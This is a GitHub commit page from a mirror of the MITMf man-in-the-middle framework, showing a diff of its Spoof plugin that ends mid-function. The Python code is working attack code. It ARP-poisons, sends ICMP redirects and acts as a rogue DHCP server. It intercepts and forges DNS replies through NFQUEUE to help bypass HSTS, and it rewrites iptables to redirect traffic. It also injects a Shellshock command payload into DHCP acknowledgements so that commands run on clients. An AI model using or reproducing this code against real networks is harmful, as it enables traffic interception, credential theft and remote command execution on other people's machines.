mirror of
https://github.com/byt3bl33d3r/MITMf.git
synced 2025-07-08 05:51:48 -07:00
-Initial Spoof plugin rewrite
-Dep check on plugins -NetfilterQueue python lib port -plugin output re-design
This commit is contained in:
byt3bl33d3r
parent
92be661e9d
commit
23a273e8a0
17 changed files with 595 additions and 522 deletions
665
plugins/Spoof.py
665
plugins/Spoof.py
|
|
@ -1,15 +1,15 @@
|
|||
#
|
||||
# DNS tampering code stolen from https://github.com/DanMcInerney/dnsspoof
|
||||
#
|
||||
# CredHarvesting code stolen from https://github.com/DanMcInerney/creds.py
|
||||
#
|
||||
|
||||
from twisted.internet import reactor
|
||||
from twisted.internet.interfaces import IReadDescriptor
|
||||
#from twisted.internet import reactor
|
||||
#from twisted.internet.interfaces import IReadDescriptor
|
||||
from plugins.plugin import Plugin
|
||||
from time import sleep
|
||||
import dns.resolver
|
||||
import nfqueue
|
||||
#import socket
|
||||
from netfilterqueue import NetfilterQueue
|
||||
#import nfqueue
|
||||
import logging
|
||||
logging.getLogger("scapy.runtime").setLevel(logging.ERROR) #Gets rid of IPV6 Error when importing scapy
|
||||
from scapy.all import *
|
||||
|
|
@ -21,343 +21,434 @@ from urllib import unquote
|
|||
import binascii
|
||||
import random
|
||||
|
||||
|
||||
class Spoof(Plugin):
|
||||
name = "Spoof"
|
||||
optname = "spoof"
|
||||
desc = 'Redirect/Modify traffic using ICMP, ARP or DHCP'
|
||||
has_opts = True
|
||||
name = "Spoof"
|
||||
optname = "spoof"
|
||||
desc = 'Redirect/Modify traffic using ICMP, ARP or DHCP'
|
||||
has_opts = True
|
||||
req_root = True
|
||||
|
||||
def initialize(self, options):
|
||||
'''Called if plugin is enabled, passed the options namespace'''
|
||||
self.options = options
|
||||
self.interface = options.interface
|
||||
self.arp = options.arp
|
||||
self.icmp = options.icmp
|
||||
self.dns = options.dns
|
||||
self.dhcp = options.dhcp
|
||||
self.shellshock = options.shellshock
|
||||
self.gateway = options.gateway
|
||||
#self.summary = options.summary
|
||||
self.target = options.target
|
||||
self.arpmode = options.arpmode
|
||||
self.port = options.listen
|
||||
self.hsts = options.hsts
|
||||
self.manualiptables = options.manualiptables #added by alexander.georgiev@daloo.de
|
||||
self.debug = False
|
||||
self.send = True
|
||||
def initialize(self, options):
|
||||
'''Called if plugin is enabled, passed the options namespace'''
|
||||
self.options = options
|
||||
self.dnscfg = options.configfile['Spoof']['DNS']
|
||||
self.dhcpcfg = options.configfile['Spoof']['DHCP']
|
||||
self.hstscfg = options.configfile['SSLstrip+']
|
||||
self.target = options.target
|
||||
self.manualiptables = options.manualiptables
|
||||
|
||||
#Makes scapy more verbose
|
||||
debug = False
|
||||
if self.options.log_level is 'debug':
|
||||
debug = True
|
||||
|
||||
if os.geteuid() != 0:
|
||||
sys.exit("[-] Spoof plugin requires root privileges")
|
||||
|
||||
if self.options.log_level == 'debug':
|
||||
self.debug = True
|
||||
self.sysconfig = SystemConfig(options.listen)
|
||||
|
||||
try:
|
||||
self.mac = get_if_hwaddr(self.interface)
|
||||
except Exception, e:
|
||||
sys.exit('[-] Error retrieving interfaces MAC address: %s' % e)
|
||||
|
||||
if self.arp:
|
||||
if not self.gateway:
|
||||
sys.exit("[-] --arp argument requires --gateway")
|
||||
if options.arp:
|
||||
if not options.gateway:
|
||||
sys.exit("[-] --arp argument requires --gateway")
|
||||
|
||||
self.routermac = getmacbyip(self.gateway)
|
||||
|
||||
print "[*] ARP Spoofing enabled"
|
||||
if self.arpmode == 'req':
|
||||
pkt = self.build_arp_req()
|
||||
elif self.arpmode == 'rep':
|
||||
pkt = self.build_arp_rep()
|
||||
|
||||
thread_target = self.send_packets
|
||||
thread_args = (pkt, self.interface, self.debug,)
|
||||
self.sysconfig.set_forwarding(1)
|
||||
|
||||
if not options.manualiptables:
|
||||
self.sysconfig.iptables_flush()
|
||||
self.sysconfig.iptables_http()
|
||||
|
||||
elif self.icmp:
|
||||
if not self.gateway:
|
||||
sys.exit("[-] --icmp argument requires --gateway")
|
||||
self.arp = _ARP(options.gateway, options.interface, options.mac_address)
|
||||
self.arp.target = options.target
|
||||
self.arp.arpmode = options.arpmode
|
||||
self.arp.debug = debug
|
||||
self.arp.start()
|
||||
|
||||
self.routermac = getmacbyip(self.gateway)
|
||||
elif options.icmp:
|
||||
if not options.gateway:
|
||||
sys.exit("[-] --icmp argument requires --gateway")
|
||||
if not options.target:
|
||||
sys.exit("[-] --icmp argument requires --target")
|
||||
|
||||
print "[*] ICMP Redirection enabled"
|
||||
pkt = self.build_icmp()
|
||||
|
||||
thread_target = self.send_packets
|
||||
thread_args = (pkt, self.interface, self.debug,)
|
||||
self.sysconfig.set_forwarding(1)
|
||||
|
||||
if not options.manualiptables:
|
||||
self.sysconfig.iptables_flush()
|
||||
self.sysconfig.iptables_http()
|
||||
|
||||
elif self.dhcp:
|
||||
print "[*] DHCP Spoofing enabled"
|
||||
if self.target:
|
||||
sys.exit("[-] --target argument invalid when DCHP spoofing")
|
||||
self.icmp = _ICMP(options.interface, options.target, options.gateway, options.ip_address)
|
||||
self.icmp.debug = debug
|
||||
self.icmp.start()
|
||||
|
||||
self.rand_number = []
|
||||
self.dhcp_dic = {}
|
||||
self.dhcpcfg = options.configfile['Spoof']['DHCP']
|
||||
|
||||
thread_target = self.dhcp_sniff
|
||||
thread_args = ()
|
||||
|
||||
else:
|
||||
sys.exit("[-] Spoof plugin requires --arp, --icmp or --dhcp")
|
||||
elif options.dhcp:
|
||||
if options.target:
|
||||
sys.exit("[-] --target argument invalid when DCHP spoofing")
|
||||
|
||||
print "[*] Spoof plugin online"
|
||||
if not self.manualiptables:
|
||||
os.system('iptables -F && iptables -X && iptables -t nat -F && iptables -t nat -X')
|
||||
self.sysconfig.set_forwarding(1)
|
||||
|
||||
if not options.manualiptables:
|
||||
self.sysconfig.iptables_flush()
|
||||
self.sysconfig.iptables_http()
|
||||
|
||||
if (self.dns or self.hsts):
|
||||
print "[*] DNS Tampering enabled"
|
||||
|
||||
if self.dns:
|
||||
self.dnscfg = options.configfile['Spoof']['DNS']
|
||||
self.dhcp = _DHCP(options.interface, self.dhcpcfg, options.ip_address, options.mac_address)
|
||||
self.dhcp.shellshock = options.shellshock
|
||||
self.dhcp.debug = debug
|
||||
self.dhcp.start()
|
||||
|
||||
else:
|
||||
sys.exit("[-] Spoof plugin requires --arp, --icmp or --dhcp")
|
||||
|
||||
self.hstscfg = options.configfile['SSLstrip+']
|
||||
|
||||
if not self.manualiptables:
|
||||
os.system('iptables -t nat -A PREROUTING -p udp --dport 53 -j NFQUEUE')
|
||||
if (options.dns or options.hsts):
|
||||
|
||||
self.start_dns_queue()
|
||||
if not options.manualiptables:
|
||||
self.sysconfig.iptables_dns()
|
||||
|
||||
file = open('/proc/sys/net/ipv4/ip_forward', 'w')
|
||||
file.write('1')
|
||||
file.close()
|
||||
if not self.manualiptables:
|
||||
print '[*] Setting up iptables'
|
||||
os.system('iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port %s' % self.port)
|
||||
self.dns = _DNS(self.dnscfg, self.hstscfg)
|
||||
self.dns.dns = options.dns
|
||||
self.dns.hsts = options.hsts
|
||||
self.dns.start()
|
||||
|
||||
#CHarvester = CredHarvester()
|
||||
t = threading.Thread(name='spoof_thread', target=thread_target, args=thread_args)
|
||||
#t2 = threading.Thread(name='cred_harvester', target=CHarvester.start, args=(self.interface))
|
||||
def add_options(self, options):
|
||||
group = options.add_mutually_exclusive_group(required=False)
|
||||
group.add_argument('--arp', dest='arp', action='store_true', default=False, help='Redirect traffic using ARP spoofing')
|
||||
group.add_argument('--icmp', dest='icmp', action='store_true', default=False, help='Redirect traffic using ICMP redirects')
|
||||
group.add_argument('--dhcp', dest='dhcp', action='store_true', default=False, help='Redirect traffic using DHCP offers')
|
||||
options.add_argument('--dns', dest='dns', action='store_true', default=False, help='Modify intercepted DNS queries')
|
||||
options.add_argument('--shellshock', type=str, metavar='PAYLOAD', dest='shellshock', default=None, help='Trigger the Shellshock vuln when spoofing DHCP, and execute specified command')
|
||||
options.add_argument('--gateway', dest='gateway', help='Specify the gateway IP')
|
||||
options.add_argument('--target', dest='target', default=None, help='Specify a host to poison [default: subnet]')
|
||||
options.add_argument('--arpmode', dest='arpmode', default='req', choices=["req", "rep"], help=' ARP Spoofing mode: requests (req) or replies (rep) [default: req]')
|
||||
#options.add_argument('--summary', action='store_true', dest='summary', default=False, help='Show packet summary and ask for confirmation before poisoning')
|
||||
|
||||
t.setDaemon(True)
|
||||
t.start()
|
||||
#added by alexander.georgiev@daloo.de
|
||||
options.add_argument('--manual-iptables', dest='manualiptables', action='store_true', default=False, help='Do not setup iptables or flush them automatically')
|
||||
|
||||
def dhcp_rand_ip(self):
|
||||
pool = self.dhcpcfg['ip_pool'].split('-')
|
||||
trunc_ip = pool[0].split('.'); del(trunc_ip[3])
|
||||
max_range = int(pool[1])
|
||||
min_range = int(pool[0].split('.')[3])
|
||||
number_range = range(min_range, max_range)
|
||||
for n in number_range:
|
||||
if n in self.rand_number:
|
||||
number_range.remove(n)
|
||||
rand_number = random.choice(number_range)
|
||||
self.rand_number.append(rand_number)
|
||||
rand_ip = '.'.join(trunc_ip) + '.' + str(rand_number)
|
||||
def finish(self):
|
||||
if self.options.arp:
|
||||
self.arp.stop()
|
||||
sleep(3)
|
||||
|
||||
return rand_ip
|
||||
self.arp.arp_inter = 1
|
||||
if self.target:
|
||||
print "\n[*] Re-ARPing target"
|
||||
self.arp.reArp_target(5)
|
||||
|
||||
def dhcp_callback(self, resp):
|
||||
if resp.haslayer(DHCP):
|
||||
xid = resp[BOOTP].xid
|
||||
mac_addr = resp[Ether].src
|
||||
raw_mac = binascii.unhexlify(mac_addr.replace(":", ""))
|
||||
if xid in self.dhcp_dic.keys():
|
||||
client_ip = self.dhcp_dic[xid]
|
||||
else:
|
||||
client_ip = self.dhcp_rand_ip()
|
||||
self.dhcp_dic[xid] = client_ip
|
||||
print "\n[*] Re-ARPing network"
|
||||
self.arp.reArp_net(5)
|
||||
|
||||
if resp[DHCP].options[0][1] == 1:
|
||||
logging.info("Got DHCP DISCOVER from: " + mac_addr + " xid: " + hex(xid))
|
||||
logging.info("Sending DHCP OFFER")
|
||||
packet = (Ether(src=get_if_hwaddr(self.interface), dst='ff:ff:ff:ff:ff:ff') /
|
||||
IP(src=get_if_addr(self.interface), dst='255.255.255.255') /
|
||||
UDP(sport=67, dport=68) /
|
||||
BOOTP(op='BOOTREPLY', chaddr=raw_mac, yiaddr=client_ip, siaddr=get_if_addr(self.interface), xid=xid) /
|
||||
DHCP(options=[("message-type", "offer"),
|
||||
('server_id', get_if_addr(self.interface)),
|
||||
('subnet_mask', self.dhcpcfg['subnet']),
|
||||
('router', get_if_addr(self.interface)),
|
||||
('lease_time', 172800),
|
||||
('renewal_time', 86400),
|
||||
('rebinding_time', 138240),
|
||||
"end"]))
|
||||
elif self.options.icmp:
|
||||
self.icmp.stop()
|
||||
sleep(3)
|
||||
|
||||
try:
|
||||
packet[DHCP].options.append(tuple(('name_server', self.dhcpcfg['dns_server'])))
|
||||
except KeyError:
|
||||
pass
|
||||
if (self.options.dns or self.options.hsts):
|
||||
self.dns.stop()
|
||||
|
||||
sendp(packet, iface=self.interface, verbose=self.debug)
|
||||
if not self.manualiptables:
|
||||
self.sysconfig.iptables_flush()
|
||||
|
||||
if resp[DHCP].options[0][1] == 3:
|
||||
logging.info("Got DHCP REQUEST from: " + mac_addr + " xid: " + hex(xid))
|
||||
packet = (Ether(src=get_if_hwaddr(self.interface), dst='ff:ff:ff:ff:ff:ff') /
|
||||
IP(src=get_if_addr(self.interface), dst='255.255.255.255') /
|
||||
UDP(sport=67, dport=68) /
|
||||
BOOTP(op='BOOTREPLY', chaddr=raw_mac, yiaddr=client_ip, siaddr=get_if_addr(self.interface), xid=xid) /
|
||||
DHCP(options=[("message-type", "ack"),
|
||||
('server_id', get_if_addr(self.interface)),
|
||||
('subnet_mask', self.dhcpcfg['subnet']),
|
||||
('router', get_if_addr(self.interface)),
|
||||
('lease_time', 172800),
|
||||
('renewal_time', 86400),
|
||||
('rebinding_time', 138240)]))
|
||||
self.sysconfig.set_forwarding(0)
|
||||
|
||||
try:
|
||||
packet[DHCP].options.append(tuple(('name_server', self.dhcpcfg['dns_server'])))
|
||||
except KeyError:
|
||||
pass
|
||||
class SystemConfig():
|
||||
|
||||
if self.shellshock:
|
||||
logging.info("Sending DHCP ACK with shellshock payload")
|
||||
packet[DHCP].options.append(tuple((114, "() { ignored;}; " + self.shellshock)))
|
||||
packet[DHCP].options.append("end")
|
||||
else:
|
||||
logging.info("Sending DHCP ACK")
|
||||
packet[DHCP].options.append("end")
|
||||
def __init__(self, http_redir_port):
|
||||
|
||||
sendp(packet, iface=self.interface, verbose=self.debug)
|
||||
self.http_redir_port = http_redir_port
|
||||
|
||||
def dhcp_sniff(self):
|
||||
sniff(filter="udp and (port 67 or 68)", prn=self.dhcp_callback, iface=self.interface)
|
||||
def set_forwarding(self, value):
|
||||
with open('/proc/sys/net/ipv4/ip_forward', 'w') as file:
|
||||
file.write(str(value))
|
||||
file.close()
|
||||
|
||||
def send_packets(self, pkt, interface, debug):
|
||||
while self.send:
|
||||
sendp(pkt, inter=2, iface=interface, verbose=debug)
|
||||
def iptables_flush(self):
|
||||
os.system('iptables -F && iptables -X && iptables -t nat -F && iptables -t nat -X')
|
||||
|
||||
def build_icmp(self):
|
||||
pkt = IP(src=self.gateway, dst=self.target)/ICMP(type=5, code=1, gw=get_if_addr(self.interface)) /\
|
||||
IP(src=self.target, dst=self.gateway)/UDP()
|
||||
def iptables_http(self):
|
||||
os.system('iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port %s' % self.http_redir_port)
|
||||
|
||||
return pkt
|
||||
def iptables_dns(self):
|
||||
os.system('iptables -t nat -A PREROUTING -p udp --dport 53 -j NFQUEUE --queue-num 1')
|
||||
|
||||
def build_arp_req(self):
|
||||
if self.target is None:
|
||||
pkt = Ether(src=self.mac, dst='ff:ff:ff:ff:ff:ff')/ARP(hwsrc=self.mac, psrc=self.gateway, pdst=self.gateway)
|
||||
elif self.target:
|
||||
target_mac = getmacbyip(self.target)
|
||||
if target_mac is None:
|
||||
sys.exit("[-] Error: Could not resolve targets MAC address")
|
||||
class _DHCP():
|
||||
|
||||
pkt = Ether(src=self.mac, dst=target_mac)/ARP(hwsrc=self.mac, psrc=self.gateway, hwdst=target_mac, pdst=self.target)
|
||||
def __init__(self, interface, dhcpcfg, ip, mac):
|
||||
self.interface = interface
|
||||
self.ip_address = ip
|
||||
self.mac_address = mac
|
||||
self.shellshock = None
|
||||
self.debug = False
|
||||
self.dhcpcfg = dhcpcfg
|
||||
self.rand_number = []
|
||||
self.dhcp_dic = {}
|
||||
|
||||
return pkt
|
||||
def start(self):
|
||||
t = threading.Thread(name="dhcp_spoof", target=self.dhcp_sniff, args=(self.interface,))
|
||||
t.setDaemon(True)
|
||||
t.start()
|
||||
|
||||
def build_arp_rep(self):
|
||||
if self.target is None:
|
||||
pkt = Ether(src=self.mac, dst='ff:ff:ff:ff:ff:ff')/ARP(hwsrc=self.mac, psrc=self.gateway, op=2)
|
||||
elif self.target:
|
||||
target_mac = getmacbyip(self.target)
|
||||
if target_mac is None:
|
||||
sys.exit("[-] Error: Could not resolve targets MAC address")
|
||||
def dhcp_sniff(self, interface):
|
||||
sniff(filter="udp and (port 67 or 68)", prn=self.dhcp_callback, iface=interface)
|
||||
|
||||
pkt = Ether(src=self.mac, dst=target_mac)/ARP(hwsrc=self.mac, psrc=self.gateway, hwdst=target_mac, pdst=self.target, op=2)
|
||||
def dhcp_rand_ip(self):
|
||||
pool = self.dhcpcfg['ip_pool'].split('-')
|
||||
trunc_ip = pool[0].split('.'); del(trunc_ip[3])
|
||||
max_range = int(pool[1])
|
||||
min_range = int(pool[0].split('.')[3])
|
||||
number_range = range(min_range, max_range)
|
||||
for n in number_range:
|
||||
if n in self.rand_number:
|
||||
number_range.remove(n)
|
||||
rand_number = random.choice(number_range)
|
||||
self.rand_number.append(rand_number)
|
||||
rand_ip = '.'.join(trunc_ip) + '.' + str(rand_number)
|
||||
|
||||
return pkt
|
||||
return rand_ip
|
||||
|
||||
def resolve_domain(self, domain):
|
||||
try:
|
||||
#logging.info("Resolving -> %s" % domain)
|
||||
answer = dns.resolver.query(domain, 'A')
|
||||
real_ips = []
|
||||
for rdata in answer:
|
||||
real_ips.append(rdata.address)
|
||||
def dhcp_callback(self, resp):
|
||||
if resp.haslayer(DHCP):
|
||||
xid = resp[BOOTP].xid
|
||||
mac_addr = resp[Ether].src
|
||||
raw_mac = binascii.unhexlify(mac_addr.replace(":", ""))
|
||||
if xid in self.dhcp_dic.keys():
|
||||
client_ip = self.dhcp_dic[xid]
|
||||
else:
|
||||
client_ip = self.dhcp_rand_ip()
|
||||
self.dhcp_dic[xid] = client_ip
|
||||
|
||||
if len(real_ips) > 0:
|
||||
return real_ips
|
||||
if resp[DHCP].options[0][1] is 1:
|
||||
logging.info("Got DHCP DISCOVER from: " + mac_addr + " xid: " + hex(xid))
|
||||
logging.info("Sending DHCP OFFER")
|
||||
packet = (Ether(src=self.mac_address, dst='ff:ff:ff:ff:ff:ff') /
|
||||
IP(src=self.ip_address, dst='255.255.255.255') /
|
||||
UDP(sport=67, dport=68) /
|
||||
BOOTP(op='BOOTREPLY', chaddr=raw_mac, yiaddr=client_ip, siaddr=self.ip_address, xid=xid) /
|
||||
DHCP(options=[("message-type", "offer"),
|
||||
('server_id', self.ip_address),
|
||||
('subnet_mask', self.dhcpcfg['subnet']),
|
||||
('router', self.ip_address),
|
||||
('lease_time', 172800),
|
||||
('renewal_time', 86400),
|
||||
('rebinding_time', 138240),
|
||||
"end"]))
|
||||
|
||||
except Exception:
|
||||
logging.debug("Error resolving " + domain)
|
||||
try:
|
||||
packet[DHCP].options.append(tuple(('name_server', self.dhcpcfg['dns_server'])))
|
||||
except KeyError:
|
||||
pass
|
||||
|
||||
def nfqueue_callback(self, payload, *kargs):
|
||||
data = payload.get_data()
|
||||
pkt = IP(data)
|
||||
if not pkt.haslayer(DNSQR):
|
||||
payload.set_verdict(nfqueue.NF_ACCEPT)
|
||||
else:
|
||||
#logging.info("Got DNS packet for %s %s" % (pkt[DNSQR].qname, pkt[DNSQR].qtype))
|
||||
if self.dns:
|
||||
for k, v in self.dnscfg.items():
|
||||
if k in pkt[DNSQR].qname:
|
||||
self.modify_dns(payload, pkt, v)
|
||||
sendp(packet, iface=self.interface, verbose=self.debug)
|
||||
|
||||
elif self.hsts:
|
||||
if (pkt[DNSQR].qtype is 28 or pkt[DNSQR].qtype is 1):
|
||||
for k,v in self.hstscfg.items():
|
||||
if v == pkt[DNSQR].qname[:-1]:
|
||||
ip = self.resolve_domain(k)
|
||||
if ip:
|
||||
self.modify_dns(payload, pkt, ip)
|
||||
if resp[DHCP].options[0][1] is 3:
|
||||
logging.info("Got DHCP REQUEST from: " + mac_addr + " xid: " + hex(xid))
|
||||
packet = (Ether(src=self.mac_address, dst='ff:ff:ff:ff:ff:ff') /
|
||||
IP(src=self.ip_address, dst='255.255.255.255') /
|
||||
UDP(sport=67, dport=68) /
|
||||
BOOTP(op='BOOTREPLY', chaddr=raw_mac, yiaddr=client_ip, siaddr=self.ip_address, xid=xid) /
|
||||
DHCP(options=[("message-type", "ack"),
|
||||
('server_id', self.ip_address),
|
||||
('subnet_mask', self.dhcpcfg['subnet']),
|
||||
('router', self.ip_address),
|
||||
('lease_time', 172800),
|
||||
('renewal_time', 86400),
|
||||
('rebinding_time', 138240)]))
|
||||
|
||||
if 'wwww' in pkt[DNSQR].qname:
|
||||
ip = self.resolve_domain(pkt[DNSQR].qname[1:-1])
|
||||
if ip:
|
||||
self.modify_dns(payload, pkt, ip)
|
||||
try:
|
||||
packet[DHCP].options.append(tuple(('name_server', self.dhcpcfg['dns_server'])))
|
||||
except KeyError:
|
||||
pass
|
||||
|
||||
if 'web' in pkt[DNSQR].qname:
|
||||
ip = self.resolve_domain(pkt[DNSQR].qname[3:-1])
|
||||
if ip:
|
||||
self.modify_dns(payload, pkt, ip)
|
||||
if self.shellshock:
|
||||
logging.info("Sending DHCP ACK with shellshock payload")
|
||||
packet[DHCP].options.append(tuple((114, "() { ignored;}; " + self.shellshock)))
|
||||
packet[DHCP].options.append("end")
|
||||
else:
|
||||
logging.info("Sending DHCP ACK")
|
||||
packet[DHCP].options.append("end")
|
||||
|
||||
def modify_dns(self, payload, pkt, ip):
|
||||
spoofed_pkt = IP(dst=pkt[IP].src, src=pkt[IP].dst) /\
|
||||
UDP(dport=pkt[UDP].sport, sport=pkt[UDP].dport) /\
|
||||
DNS(id=pkt[DNS].id, qr=1, aa=1, qd=pkt[DNS].qd)
|
||||
sendp(packet, iface=self.interface, verbose=self.debug)
|
||||
|
||||
if self.hsts:
|
||||
spoofed_pkt[DNS].an = DNSRR(rrname=pkt[DNS].qd.qname, ttl=1800, rdata=ip[0]); del ip[0] #have to do this first to initialize the an field
|
||||
for i in ip:
|
||||
spoofed_pkt[DNS].an.add_payload(DNSRR(rrname=pkt[DNS].qd.qname, ttl=1800, rdata=i))
|
||||
logging.info("%s Resolving %s for HSTS bypass" % (pkt[IP].src, pkt[DNSQR].qname[:-1]))
|
||||
class _ICMP():
|
||||
|
||||
if self.dns:
|
||||
spoofed_pkt[DNS].an = DNSRR(rrname=pkt[DNS].qd.qname, ttl=1800, rdata=ip)
|
||||
logging.info("%s Modified DNS packet for %s" % (pkt[IP].src, pkt[DNSQR].qname[:-1]))
|
||||
def __init__(self, interface, target, gateway, ip_address):
|
||||
|
||||
payload.set_verdict_modified(nfqueue.NF_ACCEPT, str(spoofed_pkt), len(spoofed_pkt))
|
||||
self.target = target
|
||||
self.gateway = gateway
|
||||
self.interface = interface
|
||||
self.ip_address = ip_address
|
||||
self.debug = False
|
||||
self.send = True
|
||||
self.icmp_interval = 2
|
||||
|
||||
def start_dns_queue(self):
|
||||
self.q = nfqueue.queue()
|
||||
self.q.set_callback(self.nfqueue_callback)
|
||||
self.q.fast_open(0, socket.AF_INET)
|
||||
self.q.set_queue_maxlen(5000)
|
||||
reactor.addReader(self)
|
||||
self.q.set_mode(nfqueue.NFQNL_COPY_PACKET)
|
||||
def build_icmp(self):
|
||||
pkt = IP(src=self.gateway, dst=self.target)/ICMP(type=5, code=1, gw=self.ip_address) /\
|
||||
IP(src=self.target, dst=self.gateway)/UDP()
|
||||
|
||||
def fileno(self):
|
||||
return self.q.get_fd()
|
||||
return pkt
|
||||
|
||||
def doRead(self):
|
||||
self.q.process_pending(100)
|
||||
def start(self):
|
||||
pkt = self.build_icmp()
|
||||
|
||||
def connectionLost(self, reason):
|
||||
reactor.removeReader(self)
|
||||
t = threading.Thread(name='icmp_spoof', target=self.send_icmps, args=(pkt, self.interface, self.debug,))
|
||||
t.setDaemon(True)
|
||||
t.start()
|
||||
|
||||
def logPrefix(self):
|
||||
return 'queue'
|
||||
def stop(self):
|
||||
self.send = False
|
||||
|
||||
def add_options(self, options):
|
||||
group = options.add_mutually_exclusive_group(required=False)
|
||||
group.add_argument('--arp', dest='arp', action='store_true', default=False, help='Redirect traffic using ARP spoofing')
|
||||
group.add_argument('--icmp', dest='icmp', action='store_true', default=False, help='Redirect traffic using ICMP redirects')
|
||||
group.add_argument('--dhcp', dest='dhcp', action='store_true', default=False, help='Redirect traffic using DHCP offers')
|
||||
options.add_argument('--dns', dest='dns', action='store_true', default=False, help='Modify intercepted DNS queries')
|
||||
options.add_argument('--shellshock', type=str, metavar='PAYLOAD', dest='shellshock', default=None, help='Trigger the Shellshock vuln when spoofing DHCP, and execute specified command')
|
||||
options.add_argument('--gateway', dest='gateway', help='Specify the gateway IP')
|
||||
options.add_argument('--target', dest='target', help='Specify a host to poison [default: subnet]')
|
||||
options.add_argument('--arpmode', dest='arpmode', default='req', help=' ARP Spoofing mode: requests (req) or replies (rep) [default: req]')
|
||||
options.add_argument('--manual-iptables', dest='manualiptables', action='store_true', default=False, help='Do not setup iptables or flush them automatically')
|
||||
#options.add_argument('--summary', action='store_true', dest='summary', default=False, help='Show packet summary and ask for confirmation before poisoning')
|
||||
def send_icmps(self, pkt, interface, debug):
|
||||
while self.send:
|
||||
sendp(pkt, inter=self.icmp_interval, iface=interface, verbose=debug)
|
||||
|
||||
def finish(self):
|
||||
self.send = False
|
||||
sleep(3)
|
||||
file = open('/proc/sys/net/ipv4/ip_forward', 'w')
|
||||
file.write('0')
|
||||
file.close()
|
||||
if not self.manualiptables:
|
||||
print '\n[*] Flushing iptables'
|
||||
os.system('iptables -F && iptables -X && iptables -t nat -F && iptables -t nat -X')
|
||||
class _ARP():
|
||||
|
||||
if (self.dns or self.hsts):
|
||||
try:
|
||||
self.q.unbind(socket.AF_INET)
|
||||
self.q.close()
|
||||
except:
|
||||
pass
|
||||
def __init__(self, gateway, interface, mac):
|
||||
|
||||
if self.arp:
|
||||
print '[*] Re-arping network'
|
||||
pkt = Ether(src=self.routermac, dst='ff:ff:ff:ff:ff:ff')/ARP(psrc=self.gateway, hwsrc=self.routermac, op=2)
|
||||
sendp(pkt, inter=1, count=5, iface=self.interface)
|
||||
self.gateway = gateway
|
||||
self.gatewaymac = getmacbyip(gateway)
|
||||
self.mac = mac
|
||||
self.target = None
|
||||
self.targetmac = None
|
||||
self.interface = interface
|
||||
self.arpmode = 'req'
|
||||
self.debug = False
|
||||
self.send = True
|
||||
self.arp_inter = 2
|
||||
|
||||
def start(self):
|
||||
if self.gatewaymac is None:
|
||||
sys.exit("[-] Error: Could not resolve gateway's MAC address")
|
||||
|
||||
if self.target:
|
||||
self.targetmac = getmacbyip(self.target)
|
||||
if self.targetmac is None:
|
||||
sys.exit("[-] Error: Could not resolve target's MAC address")
|
||||
|
||||
if self.arpmode is 'req':
|
||||
pkt = self.build_arp_req()
|
||||
|
||||
elif self.arpmode is 'rep':
|
||||
pkt = self.build_arp_rep()
|
||||
|
||||
t = threading.Thread(name='arp_spoof', target=self.send_arps, args=(pkt, self.interface, self.debug,))
|
||||
t.setDaemon(True)
|
||||
t.start()
|
||||
|
||||
def send_arps(self, pkt, interface, debug):
|
||||
while self.send:
|
||||
sendp(pkt, inter=self.arp_inter, iface=interface, verbose=debug)
|
||||
|
||||
def stop(self):
|
||||
self.send = False
|
||||
|
||||
def build_arp_req(self):
|
||||
if self.target is None:
|
||||
pkt = Ether(src=self.mac, dst='ff:ff:ff:ff:ff:ff')/ARP(hwsrc=self.mac, psrc=self.gateway, pdst=self.gateway)
|
||||
elif self.target:
|
||||
pkt = Ether(src=self.mac, dst=self.targetmac)/\
|
||||
ARP(hwsrc=self.mac, psrc=self.gateway, hwdst=self.targetmac, pdst=self.target)
|
||||
|
||||
return pkt
|
||||
|
||||
def build_arp_rep(self):
|
||||
if self.target is None:
|
||||
pkt = Ether(src=self.mac, dst='ff:ff:ff:ff:ff:ff')/ARP(hwsrc=self.mac, psrc=self.gateway, op=2)
|
||||
elif self.target:
|
||||
pkt = Ether(src=self.mac, dst=self.targetmac)/\
|
||||
ARP(hwsrc=self.mac, psrc=self.gateway, hwdst=self.targetmac, pdst=self.target, op=2)
|
||||
|
||||
return pkt
|
||||
|
||||
def reArp_net(self, count):
|
||||
pkt = Ether(src=self.gatewaymac, dst='ff:ff:ff:ff:ff:ff')/\
|
||||
ARP(psrc=self.gateway, hwsrc=self.gatewaymac, op=2)
|
||||
|
||||
sendp(pkt, inter=self.arp_inter, count=count, iface=self.interface)
|
||||
|
||||
def reArp_target(self, count):
|
||||
pkt = Ether(src=self.gatewaymac, dst='ff:ff:ff:ff:ff:ff')/\
|
||||
ARP(psrc=self.target, hwsrc=self.targetmac, op=2)
|
||||
|
||||
sendp(pkt, inter=self.arp_inter, count=count, iface=self.interface)
|
||||
|
||||
class _DNS():
|
||||
|
||||
def __init__(self, hstscfg, dnscfg):
|
||||
self.hsts = False
|
||||
self.dns = True
|
||||
self.dnscfg = hstscfg
|
||||
self.hstscfg = dnscfg
|
||||
self.nfqueue = NetfilterQueue()
|
||||
|
||||
def start(self):
|
||||
t = threading.Thread(name='dns_nfqueue', target=self.nfqueue_bind, args=())
|
||||
t.setDaemon(True)
|
||||
t.start()
|
||||
|
||||
def nfqueue_bind(self):
|
||||
self.nfqueue.bind(1, self.nfqueue_callback, 5000, 3)
|
||||
self.nfqueue.run()
|
||||
|
||||
def stop(self):
|
||||
try:
|
||||
self.nfqueue.unbind()
|
||||
except:
|
||||
pass
|
||||
|
||||
def resolve_domain(self, domain):
|
||||
try:
|
||||
logging.debug("Resolving -> %s" % domain)
|
||||
answer = dns.resolver.query(domain, 'A')
|
||||
real_ips = []
|
||||
for rdata in answer:
|
||||
real_ips.append(rdata.address)
|
||||
|
||||
if len(real_ips) > 0:
|
||||
return real_ips
|
||||
|
||||
except Exception:
|
||||
logging.info("Error resolving " + domain)
|
||||
|
||||
def nfqueue_callback(self, payload):
|
||||
if payload:
|
||||
print "got packet!"
|
||||
data = payload.get_payload()
|
||||
pkt = IP(data)
|
||||
if not pkt.haslayer(DNSQR):
|
||||
payload.accept()
|
||||
else:
|
||||
logging.debug("Got DNS packet for %s %s" % (pkt[DNSQR].qname, pkt[DNSQR].qtype))
|
||||
if self.dns:
|
||||
for k, v in self.dnscfg.items():
|
||||
if k in pkt[DNSQR].qname:
|
||||
self.modify_dns(payload, pkt, v)
|
||||
|
||||
elif self.hsts:
|
||||
if (pkt[DNSQR].qtype is 28 or pkt[DNSQR].qtype is 1):
|
||||
for k,v in self.hstscfg.items():
|
||||
if v == pkt[DNSQR].qname[:-1]:
|
||||
ip = self.resolve_domain(k)
|
||||
if ip:
|
||||
